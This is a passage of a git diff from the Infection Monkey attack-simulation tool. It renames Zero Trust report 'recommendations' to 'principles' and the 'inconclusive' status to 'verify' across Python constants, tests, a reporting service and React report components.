             STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY,
+        PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
         PILLARS_KEY: [DEVICES],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
     },
@@ -102,19 +102,19 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
             STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY,
+        PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
         PILLARS_KEY: [DEVICES],
-        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_INCONCLUSIVE]
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
     },
     TEST_SCHEDULED_EXECUTION: {
         TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
         FINDING_EXPLANATION_BY_STATUS_KEY: {
-            STATUS_INCONCLUSIVE: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
+            STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
             STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_USER_BEHAVIOUR,
+        PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
         PILLARS_KEY: [PEOPLE, NETWORKS],
-        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE]
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
     },
     TEST_DATA_ENDPOINT_ELASTIC: {
         TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
@@ -122,7 +122,7 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
             STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT,
+        PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
         PILLARS_KEY: [DATA],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
     },
@@ -132,7 +132,7 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
             STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT,
+        PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
         PILLARS_KEY: [DATA],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
     },
@@ -141,7 +141,7 @@ TESTS_MAP = {
         FINDING_EXPLANATION_BY_STATUS_KEY: {
             STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES,
+        PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
         PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
     },
@@ -151,7 +151,7 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
             STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES,
+        PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
         PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
     },
@@ -171,15 +171,15 @@ PILLARS_TO_TESTS = {
     AUTOMATION_ORCHESTRATION: []
 }
 
-RECOMMENDATIONS_TO_TESTS = {}
+PRINCIPLES_TO_TESTS = {}
 
-RECOMMENDATIONS_TO_PILLARS = {}
+PRINCIPLES_TO_PILLARS = {}
 
 
 def populate_mappings():
     populate_pillars_to_tests()
-    populate_recommendations_to_tests()
-    populate_recommendations_to_pillars()
+    populate_principles_to_tests()
+    populate_principles_to_pillars()
 
 
 def populate_pillars_to_tests():
@@ -189,17 +189,17 @@ def populate_pillars_to_tests():
                 PILLARS_TO_TESTS[pillar].append(test)
 
 
-def populate_recommendations_to_tests():
-    for single_recommendation in RECOMMENDATIONS:
-        RECOMMENDATIONS_TO_TESTS[single_recommendation] = []
+def populate_principles_to_tests():
+    for single_principle in PRINCIPLES:
+        PRINCIPLES_TO_TESTS[single_principle] = []
     for test, test_info in TESTS_MAP.items():
-        RECOMMENDATIONS_TO_TESTS[test_info[RECOMMENDATION_KEY]].append(test)
+        PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
 
 
-def populate_recommendations_to_pillars():
-    for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items():
-        recommendations_pillars = set()
-        for test in recommendation_tests:
+def populate_principles_to_pillars():
+    for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+        principles_pillars = set()
+        for test in principle_tests:
             for pillar in TESTS_MAP[test][PILLARS_KEY]:
-                recommendations_pillars.add(pillar)
-        RECOMMENDATIONS_TO_PILLARS[recommendation] = recommendations_pillars
+                principles_pillars.add(pillar)
+        PRINCIPLES_TO_PILLARS[principle] = principles_pillars
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
index 441d22e3a..df4eb12f7 100644
--- a/monkey/monkey_island/cc/models/zero_trust/finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -14,12 +14,12 @@ from monkey_island.cc.models.zero_trust.event import Event
 class Finding(Document):
     """
     This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a
-    specific recommendation of zero trust is upheld or broken.
+    specific principle of zero trust is upheld or broken.
 
     Findings might have the following statuses:
         Failed ❌
             Meaning that we are sure that something is wrong (example: segmentation issue).
-        Inconclusive ⁉
+        Verify ⁉
             Meaning that we need the user to check something himself (example: 2FA logs, AV missing).
         Passed ✔
             Meaning that we are sure that something is correct (example: Monkey failed exploiting).
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
index b32e8ad53..4a67a21b7 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -11,7 +11,7 @@ class TestAggregateFinding(IslandTestCase):
         self.clean_finding_db()
 
         test = TEST_MALICIOUS_ACTIVITY_TIMELINE
-        status = STATUS_INCONCLUSIVE
+        status = STATUS_VERIFY
         events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)]
         self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
 
@@ -30,7 +30,7 @@ class TestAggregateFinding(IslandTestCase):
         self.clean_finding_db()
 
         test = TEST_MALICIOUS_ACTIVITY_TIMELINE
-        status = STATUS_INCONCLUSIVE
+        status = STATUS_VERIFY
         event = Event.create_event("t", "t", EVENT_TYPE_ISLAND)
         events = [event]
         self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
index db2f40518..8c5286fee 100644
--- a/monkey/monkey_island/cc/resources/reporting/report.py
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -14,7 +14,7 @@ REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE]
 
 REPORT_DATA_PILLARS = "pillars"
 REPORT_DATA_FINDINGS = "findings"
-REPORT_DATA_RECOMMENDATIONS_STATUS = "recommendations"
+REPORT_DATA_PRINCIPLES_STATUS = "principles"
 
 __author__ = ["itay.mizeretz", "shay.nehmad"]
 
@@ -33,8 +33,8 @@ class Report(flask_restful.Resource):
                         "grades": ZeroTrustService.get_pillars_grades()
                     }
                 )
-            elif report_data == REPORT_DATA_RECOMMENDATIONS_STATUS:
-                return jsonify(ZeroTrustService.get_recommendations_status())
+            elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
+                return jsonify(ZeroTrustService.get_principles_status())
             elif report_data == REPORT_DATA_FINDINGS:
                 return jsonify(ZeroTrustService.get_all_findings())
 
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index 2bd74c796..5d84a9cb0 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -11,12 +11,12 @@ def save_example_findings():
     Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, [])  # devices passed = 2
     Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, [])  # devices failed = 1
     # devices unexecuted = 1
-    # people inconclusive = 1
-    # networks inconclusive = 1
-    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, [])
-    # people inconclusive = 2
-    # networks inconclusive = 2
-    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, [])
+    # people verify = 1
+    # networks verify = 1
+    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+    # people verify = 2
+    # networks verify = 2
+    Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
     # data failed 1
     Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
     # data failed 2
@@ -27,10 +27,10 @@ def save_example_findings():
     Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
     # data failed 5
     Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
-    # data inconclusive 1
-    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, [])
-    # data inconclusive 2
-    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, [])
+    # data verify 1
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+    # data verify 2
+    Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
     # data passed 1
     Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, [])
 
@@ -45,49 +45,49 @@ class TestZeroTrustService(IslandTestCase):
         expected = [
             {
                 STATUS_FAILED: 5,
-                STATUS_INCONCLUSIVE: 2,
+                STATUS_VERIFY: 2,
                 STATUS_PASSED: 1,
                 STATUS_UNEXECUTED: 1,
                 "pillar": "Data"
             },
             {
                 STATUS_FAILED: 0,
-                STATUS_INCONCLUSIVE: 2,
+                STATUS_VERIFY: 2,
                 STATUS_PASSED: 0,
                 STATUS_UNEXECUTED: 0,
                 "pillar": "People"
             },
             {
                 STATUS_FAILED: 0,
-                STATUS_INCONCLUSIVE: 2,
+                STATUS_VERIFY: 2,
                 STATUS_PASSED: 0,
                 STATUS_UNEXECUTED: 2,
                 "pillar": "Networks"
             },
             {
                 STATUS_FAILED: 1,
-                STATUS_INCONCLUSIVE: 0,
+                STATUS_VERIFY: 0,
                 STATUS_PASSED: 2,
                 STATUS_UNEXECUTED: 1,
                 "pillar": "Devices"
             },
             {
                 STATUS_FAILED: 0,
-                STATUS_INCONCLUSIVE: 0,
+                STATUS_VERIFY: 0,
                 STATUS_PASSED: 0,
                 STATUS_UNEXECUTED: 0,
                 "pillar": "Workloads"
             },
             {
                 STATUS_FAILED: 0,
-                STATUS_INCONCLUSIVE: 0,
+                STATUS_VERIFY: 0,
                 STATUS_PASSED: 0,
                 STATUS_UNEXECUTED: 1,
                 "pillar": "Visibility & Analytics"
             },
             {
                 STATUS_FAILED: 0,
-                STATUS_INCONCLUSIVE: 0,
+                STATUS_VERIFY: 0,
                 STATUS_PASSED: 0,
                 STATUS_UNEXECUTED: 0,
                 "pillar": "Automation & Orchestration"
@@ -98,7 +98,7 @@ class TestZeroTrustService(IslandTestCase):
 
         self.assertEquals(result, expected)
 
-    def test_get_recommendations_status(self):
+    def test_get_principles_status(self):
         self.fail_if_not_testing_env()
         self.clean_finding_db()
 
@@ -108,7 +108,7 @@ class TestZeroTrustService(IslandTestCase):
             AUTOMATION_ORCHESTRATION: [],
             DATA: [
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_DATA_TRANSIT],
+                    "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
                     "status": STATUS_FAILED,
                     "tests": [
                         {
@@ -124,7 +124,7 @@ class TestZeroTrustService(IslandTestCase):
             ],
             DEVICES: [
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_ENDPOINT_SECURITY],
+                    "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
                     "status": STATUS_FAILED,
                     "tests": [
                         {
@@ -140,7 +140,7 @@ class TestZeroTrustService(IslandTestCase):
             ],
             NETWORKS: [
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_SEGMENTATION],
+                    "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
                     "status": STATUS_UNEXECUTED,
                     "tests": [
                         {
@@ -150,17 +150,17 @@ class TestZeroTrustService(IslandTestCase):
                     ]
                 },
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR],
-                    "status": STATUS_INCONCLUSIVE,
+                    "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+                    "status": STATUS_VERIFY,
                     "tests": [
                         {
-                            "status": STATUS_INCONCLUSIVE,
+                            "status": STATUS_VERIFY,
                             "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
                         }
                     ]
                 },
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC],
+                    "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
                     "status": STATUS_UNEXECUTED,
                     "tests": [
                         {
@@ -172,11 +172,11 @@ class TestZeroTrustService(IslandTestCase):
             ],
             PEOPLE: [
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR],
-                    "status": STATUS_INCONCLUSIVE,
+                    "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+                    "status": STATUS_VERIFY,
                     "tests": [
                         {
-                            "status": STATUS_INCONCLUSIVE,
+                            "status": STATUS_VERIFY,
                             "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
                         }
                     ]
@@ -184,7 +184,7 @@ class TestZeroTrustService(IslandTestCase):
             ],
             "Visibility & Analytics": [
                 {
-                    "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC],
+                    "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
                     "status": STATUS_UNEXECUTED,
                     "tests": [
                         {
@@ -197,7 +197,7 @@ class TestZeroTrustService(IslandTestCase):
             "Workloads": []
         }
 
-        self.assertEquals(ZeroTrustService.get_recommendations_status(), expected)
+        self.assertEquals(ZeroTrustService.get_principles_status(), expected)
 
     def test_get_pillars_to_statuses(self):
         self.fail_if_not_testing_env()
@@ -222,8 +222,8 @@ class TestZeroTrustService(IslandTestCase):
         expected = {
             AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED,
             DEVICES: STATUS_FAILED,
-            NETWORKS: STATUS_INCONCLUSIVE,
-            PEOPLE: STATUS_INCONCLUSIVE,
+            NETWORKS: STATUS_VERIFY,
+            PEOPLE: STATUS_VERIFY,
             VISIBILITY_ANALYTICS: STATUS_UNEXECUTED,
             WORKLOADS: STATUS_UNEXECUTED,
             DATA: STATUS_FAILED
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
index d8f6c87e9..f4b23f095 100644
--- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -17,7 +17,7 @@ class ZeroTrustService(object):
         pillar_grade = {
             "pillar": pillar,
             STATUS_FAILED: 0,
-            STATUS_INCONCLUSIVE: 0,
+            STATUS_VERIFY: 0,
             STATUS_PASSED: 0,
             STATUS_UNEXECUTED: 0
         }
@@ -39,30 +39,30 @@ class ZeroTrustService(object):
         return pillar_grade
 
     @staticmethod
-    def get_recommendations_status():
-        all_recommendations_statuses = {}
+    def get_principles_status():
+        all_principles_statuses = {}
 
         # init with empty lists
         for pillar in PILLARS:
-            all_recommendations_statuses[pillar] = []
+            all_principles_statuses[pillar] = []
 
-        for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items():
-            for pillar in RECOMMENDATIONS_TO_PILLARS[recommendation]:
-                all_recommendations_statuses[pillar].append(
+        for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+            for pillar in PRINCIPLES_TO_PILLARS[principle]:
+                all_principles_statuses[pillar].append(
                     {
-                        "recommendation": RECOMMENDATIONS[recommendation],
-                        "tests": ZeroTrustService.__get_tests_status(recommendation_tests),
-                        "status": ZeroTrustService.__get_recommendation_status(recommendation_tests)
+                        "principle": PRINCIPLES[principle],
+                        "tests": ZeroTrustService.__get_tests_status(principle_tests),
+                        "status": ZeroTrustService.__get_principle_status(principle_tests)
                     }
                 )
 
-        return all_recommendations_statuses
+        return all_principles_statuses
 
     @staticmethod
-    def __get_recommendation_status(recommendation_tests):
+    def __get_principle_status(principle_tests):
         worst_status = STATUS_UNEXECUTED
         all_statuses = set()
-        for test in recommendation_tests:
+        for test in principle_tests:
             all_statuses |= set(Finding.objects(test=test).distinct("status"))
 
         for status in all_statuses:
@@ -72,9 +72,9 @@ class ZeroTrustService(object):
         return worst_status
 
     @staticmethod
-    def __get_tests_status(recommendation_tests):
+    def __get_tests_status(principle_tests):
         results = []
-        for test in recommendation_tests:
+        for test in principle_tests:
             test_findings = Finding.objects(test=test)
             results.append(
                 {
@@ -124,7 +124,7 @@ class ZeroTrustService(object):
     def get_statuses_to_pillars():
         results = {
             STATUS_FAILED: [],
-            STATUS_INCONCLUSIVE: [],
+            STATUS_VERIFY: [],
             STATUS_PASSED: [],
             STATUS_UNEXECUTED: []
         }
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
index b84dd94c9..7b45b1dee 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -69,6 +69,6 @@ def test_open_data_endpoints(telemetry_json):
 
     AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-        status=STATUS_INCONCLUSIVE,
+        status=STATUS_VERIFY,
         events=events
     )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index 88661d1aa..8198b5a3e 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -38,6 +38,6 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target
 
     AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-        status=STATUS_INCONCLUSIVE,
+        status=STATUS_VERIFY,
         events=events
     )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
index 2c9be5e1f..ba55fc575 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -1,4 +1,4 @@
-from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \
     TEST_MALICIOUS_ACTIVITY_TIMELINE
 from monkey_island.cc.models import Monkey
 from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
@@ -26,6 +26,6 @@ def test_tunneling_violation(tunnel_telemetry_json):
 
         AggregateFinding.create_or_add_to_existing(
             test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-            status=STATUS_INCONCLUSIVE,
+            status=STATUS_VERIFY,
             events=tunneling_events
         )
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
index c0d1f1bed..a0b92d9bd 100755
--- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
@@ -8,7 +8,7 @@ import PrintReportButton from "../report-components/common/PrintReportButton";
 import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
 import SummarySection from "../report-components/zerotrust/SummarySection";
 import FindingsSection from "../report-components/zerotrust/FindingsSection";
-import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection";
+import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection";
 
 class ZeroTrustReportPageComponent extends AuthComponent {
 
@@ -72,8 +72,8 @@ class ZeroTrustReportPageComponent extends AuthComponent {
     } else {
       content = <div id="MainContentSection">
         <SummarySection allMonkeysAreDead={this.state.allMonkeysAreDead} pillars={this.state.pillars}/>
-        <RecommendationsSection recommendations={this.state.recommendations}
-                                pillarsToStatuses={this.state.pillars.pillarsToStatuses}/>
+        <PrinciplesSection principles={this.state.principles}
+                           pillarsToStatuses={this.state.pillars.pillarsToStatuses}/>
         <FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/>
       </div>;
     }
@@ -102,7 +102,7 @@ class ZeroTrustReportPageComponent extends AuthComponent {
   stillLoadingDataFromServer() {
     return typeof this.state.findings === "undefined"
       || typeof this.state.pillars === "undefined"
-      || typeof this.state.recommendations === "undefined";
+      || typeof this.state.principles === "undefined";
   }
 
   getZeroTrustReportFromServer() {
@@ -114,11 +114,11 @@ class ZeroTrustReportPageComponent extends AuthComponent {
           findings: res
         });
       });
-    this.authFetch('/api/report/zero_trust/recommendations')
+    this.authFetch('/api/report/zero_trust/principles')
       .then(res => res.json())
       .then(res => {
         this.setState({
-          recommendations: res
+          principles: res
         });
       });
     this.authFetch('/api/report/zero_trust/pillars')
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
index d86f5cb06..95b9d0389 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
@@ -35,7 +35,7 @@ class FindingsSection extends Component {
         </p>
 
         <FindingsTable data={findingsByStatus[ZeroTrustStatuses.failed]} status={ZeroTrustStatuses.failed}/>
-        <FindingsTable data={findingsByStatus[ZeroTrustStatuses.inconclusive]} status={ZeroTrustStatuses.inconclusive}/>
+        <FindingsTable data={findingsByStatus[ZeroTrustStatuses.verify]} status={ZeroTrustStatuses.verify}/>
         <FindingsTable data={findingsByStatus[ZeroTrustStatuses.passed]} status={ZeroTrustStatuses.passed}/>
       </div>
     );
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
new file mode 100644
index 000000000..44b427c11
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
@@ -0,0 +1,29 @@
+import React, {Component} from "react";
+import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus";
+import * as PropTypes from "prop-types";
+
+export default class PrinciplesSection extends Component {
+  render() {
+    return <div id="principles-section">
+      <h2>Test Results</h2>
+      <p>
+        The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of
+        several guiding principles tested by the Infection Monkey.
+      </p>
+      {
+        Object.keys(this.props.principles).map((pillar) =>
+          <SinglePillarPrinciplesStatus
+            key={pillar}
+            pillar={pillar}
+            principlesStatus={this.props.principles[pillar]}
+            pillarsToStatuses={this.props.pillarsToStatuses}/>
+        )
+      }
+    </div>
+  }
+}
+
+PrinciplesSection.propTypes = {
+  principles: PropTypes.object,
+  pillarsToStatuses: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
similarity index 79%
rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
index e1ba3f814..b50ee0c28 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -16,7 +16,7 @@ const columns = [
         },
         maxWidth: MAX_WIDTH_STATUS_COLUMN
       },
-      { Header: 'ZT Recommendation', accessor: 'recommendation',
+      { Header: 'Zero Trust Principle', accessor: 'principle',
         style: {'whiteSpace': 'unset'}  // This enables word wrap
       },
       { Header: 'Monkey Tests', id: 'tests',
@@ -34,7 +34,7 @@ class TestsStatus extends AuthComponent {
     return (
       <Fragment>
         {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)}
-        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.inconclusive)}
+        {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)}
         {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)}
         {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)}
       </Fragment>
@@ -60,12 +60,12 @@ class TestsStatus extends AuthComponent {
   }
 }
 
-export class RecommendationsStatusTable extends AuthComponent {
+export class PrinciplesStatusTable extends AuthComponent {
   render() {
-    return <PaginatedTable data={this.props.recommendationsStatus} columns={columns} pageSize={5}/>;
+    return <PaginatedTable data={this.props.principlesStatus} columns={columns} pageSize={5}/>;
   }
 }
 
-export default RecommendationsStatusTable;
+export default PrinciplesStatusTable;
 
-RecommendationsStatusTable.propTypes = {recommendationsStatus: PropTypes.array};
+PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js
deleted file mode 100644
index e83d1c4cc..000000000
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import React, {Component} from "react";
-import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus";
-import * as PropTypes from "prop-types";
-
-export default class RecommendationsSection extends Component {
-  render() {
-    return <div id="recommendations-section">
-      <h2>Recommendations</h2>
-      <p>
-        Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results
-        to understand how the monkey tested your adherence to that recommendation.
-      </p>
-      {
-        Object.keys(this.props.recommendations).map((pillar) =>
-          <SinglePillarRecommendationsStatus
-            key={pillar}
-            pillar={pillar}
-            recommendationsStatus={this.props.recommendations[pillar]}
-            pillarsToStatuses={this.props.pillarsToStatuses}/>
-        )
-      }
-    </div>
-  }
-}
-
-RecommendationsSection.propTypes = {
-  recommendations: PropTypes.object,
-  pillarsToStatuses: PropTypes.object
-};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
index 34c18eb26..1881c82d2 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -36,7 +36,7 @@ class ZeroTrustReportLegend extends Component {
         </li>
         <li>
           <div style={{display: "inline-block"}}>
-            <StatusLabel showText={true} status={ZeroTrustStatuses.inconclusive}/>
+            <StatusLabel showText={true} status={ZeroTrustStatuses.verify}/>
           </div>
           {"\t"}At least one of the tests’ results related to this component requires further manual verification.
         </li>
@@ -50,11 +50,10 @@ class ZeroTrustReportLegend extends Component {
           <div style={{display: "inline-block"}}>
             <StatusLabel showText={true} status={ZeroTrustStatuses.unexecuted}/>
           </div>
